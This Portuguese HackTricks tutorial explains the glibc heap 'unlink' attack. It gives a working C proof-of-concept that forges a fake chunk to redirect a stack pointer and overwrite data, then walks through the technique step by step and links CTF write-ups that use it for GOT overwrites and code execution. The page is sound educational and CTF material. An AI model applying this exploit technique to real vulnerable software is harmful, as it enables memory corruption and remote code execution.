Unlink Attack
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Quando este ataque foi descoberto, ele permitia principalmente um WWW (Write What Where), no entanto, algumas verificações foram adicionadas, tornando a nova versão do ataque mais interessante, mais complexa e inútil.
Exemplo de Código:
Código
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
- O ataque não funciona se tcaches forem usados (após 2.26)
Objetivo
Este ataque permite mudar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo. Se este novo local (cercanias de onde o ponteiro estava localizado) tiver coisas interessantes, como outras alocações controláveis / pilha..., é possível ler/escrever nelas para causar um dano maior.
- Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário.
- Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever, é possível fazer com que os outros ponteiros apontem para outros endereços.
Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como no GOT).
Requisitos
- Algum controle em uma memória (por exemplo, pilha) para criar alguns chunks dando valores a alguns dos atributos.
- Vazamento da pilha para definir os ponteiros do chunk falso.
Ataque
- Existem alguns chunks (chunk1 e chunk2)
- O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2.
- No chunk1, o atacante cria a estrutura de um chunk falso:
- Para contornar as proteções, ele se certifica de que o campo
size
está correto para evitar o erro:corrupted size vs. prev_size while consolidating
- e os campos
fd
ebk
do chunk falso estão apontando para onde o ponteiro chunk1 está armazenado com offsets de -3 e -2, respectivamente, entãofake_chunk->fd->bk
efake_chunk->bk->fd
apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:
.png)
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido.
- Quando o segundo chunk é liberado, então este chunk falso é desassociado, ocorrendo:
fake_chunk->fd->bk
=fake_chunk->bk
fake_chunk->bk->fd
=fake_chunk->fd
- Anteriormente, foi feito para que
fake_chunk->fd->bk
efake_chunk->bk->fd
apontem para o mesmo lugar (a localização na pilha ondechunk1
estava armazenado, então era uma lista encadeada válida). Como ambos estão apontando para o mesmo local, apenas o último (fake_chunk->bk->fd = fake_chunk->fd
) terá efeito. - Isso irá sobrescrever o ponteiro para chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha.
- Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele poderá escrever dentro da pilha, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e pontos de variáveis locais. Mesmo modificando novamente o endereço do chunk1 armazenado na pilha para um local diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele poderá escrever em qualquer lugar.
- Note que isso foi possível porque os endereços estão armazenados na pilha. O risco e a exploração podem depender de onde os endereços do chunk falso estão sendo armazenados.
.png)
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
Referências
- https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- Embora seria estranho encontrar um ataque unlink mesmo em um CTF, aqui você tem alguns writeups onde este ataque foi usado:
- Exemplo de CTF: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
- Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque unlink é realizado para poder alocar um chunk aqui, portanto, sendo capaz de controlar os ponteiros do array de endereços malloc'ed. Então, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para o GOT, modificar endereços de função para obter vazamentos e RCE.
- Outro exemplo de CTF: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
- Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever esta alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para o GOT de atoi, imprimi-lo para obter um vazamento de libc e, em seguida, sobrescrever o GOT de atoi com o endereço de um gadget.
- Exemplo de CTF com funções malloc e free personalizadas que abusam de uma vulnerabilidade muito semelhante ao ataque unlink: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
- Há um overflow que permite controlar os ponteiros FD e BK do malloc personalizado que serão (custom) liberados. Além disso, a heap tem o bit de execução, então é possível vazar um endereço da heap e apontar uma função do GOT para um chunk da heap com um shellcode para executar.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.